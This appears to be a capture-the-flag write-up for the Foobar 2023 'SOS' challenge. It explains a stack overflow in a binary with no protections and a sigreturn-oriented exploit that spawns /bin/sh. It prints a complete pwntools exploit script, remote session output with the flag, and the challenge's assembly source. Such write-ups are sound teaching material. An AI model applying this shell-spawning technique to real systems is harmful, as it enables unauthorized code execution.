Tags: pwn srop
Rating:
# SOS - Foobar 2023
The binary has no protection mechanisms enabled.
```
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
```
Futher, the binary has a stack-based buffer overflow that allows us to place our malicious gadgets directly on top of the stack, which will then be called once the main function callses at ``0x0040102f``.
```
00401000 b801000000 mov eax, 0x1
00401005 bf01000000 mov edi, 0x1
0040100a 48be002040000000…mov rsi, msg {"Please Sav"}
00401014 ba09000000 mov edx, 0x9
00401019 0f05 syscall
0040101b b800000000 mov eax, 0x0
00401020 4889e6 mov rsi, rsp {__return_addr}
00401023 bf00000000 mov edi, 0x0
00401028 ba90010000 mov edx, 0x190
0040102d 0f05 syscall
0040102f c3 retn {__return_addr}
```
However, there are few few usable gadgets in the binary.
```
0x0000000000401030: shl rax, 1; ret;
0x000000000040103d: xor rax, rax; ret;
0x0000000000401034: mov ecx, 1; xor rax, rcx; ret
0x0000000000401019: syscall;
```
``SROP`` seems like a viable exploit technique since we can control ``RAX`` and have access to a ``syscall`` instruction.
We can use the ``shlr rax, 1`` and ``mov ecx, 1; xor rax, rcx;`` instruction to set rax=15, essentially performing the following operations ``((((((1*2) xor 1)*2) xor 1)*2)+1)==15``. Well go ahead and build a ``set_rax_15()`` chain that does this.
```python
def set_rax_15():
xrxr = 0x40103d
xor1 = 0x401034
shl1 = 0x401030
chain = p64(xrxr)
chain += p64(xor1)
chain += p64(shl1)
chain += p64(xor1)
chain += p64(shl1)
chain += p64(xor1)
chain += p64(shl1)
chain += p64(xor1)
return chain
```
After that all we need to do is trigger a ``sigreturn`` by calling ``syscall``. The ``sigreturn`` syscall will restore the state of the registers from a ``SigreturnFrame``. So well go ahead and develop a sigreturn frame that sets up up for an execve() syscall by setting ``rax=0x3b``, ``rdi=0x40200b (address of /bin/sh)``, and ``rsi=rdx=0x0=NULL``. Further we'll ``RIP=syscall``, which will trigger ``execve('/bin/sh',NULL,NULL)``
```python
def srop_frame():
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = 0x40200b
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall
return bytes(frame)
```
Putting it all together, our exploit looks like:
```python
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote('34.170.55.8', 1337)
else:
return process(e.path, level='error')
p = start()
syscall = 0x40102d
'''((((((1*2)+1)*2)+1)*2)+1)'''
def set_rax_15():
xrxr = 0x40103d
xor1 = 0x401034
shl1 = 0x401030
chain = p64(xrxr)
chain += p64(xor1)
chain += p64(shl1)
chain += p64(xor1)
chain += p64(shl1)
chain += p64(xor1)
chain += p64(shl1)
chain += p64(xor1)
return chain
def srop_frame():
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = 0x40200b
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall
return bytes(frame)
chain = set_rax_15()
chain += p64(syscall)
chain += srop_frame()
p.sendline(chain)
p.interactive()
```
Throwing our exploit at the REMOTE server, we get the flag ``GLUG{TH4nKS_f0R_ReSp0ND1nG_7O_my_SiGNA1}``.
```
└─# python3 pwn-sos.py BIN=./chall REMOTE
[*] '/root/workspace/foobar/sos/chall'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to 34.170.55.8 on port 1337: Done
[*] Switching to interactive mode
Please Sa$ cat flag.txt
GLUG{TH4nKS_f0R_ReSp0ND1nG_7O_my_SiGNA1}
```
The challenge authors also left the challenge source code on the remtoe server as well.
```s
global _start
section .text
__start:
_start:
mov rax, 1
mov rdi, 1
mov rsi, msg
mov rdx, 9
syscall
mov rax, 0
mov rsi, rsp
mov rdi, 0
mov rdx, 400
syscall
ret
shl rax, 1
ret
mov rcx, 1
xor rax, rcx
ret
xor rax, rax
ret
section .data
msg: db "Please Sav", 0
sh: db "/bin/sh", 0
```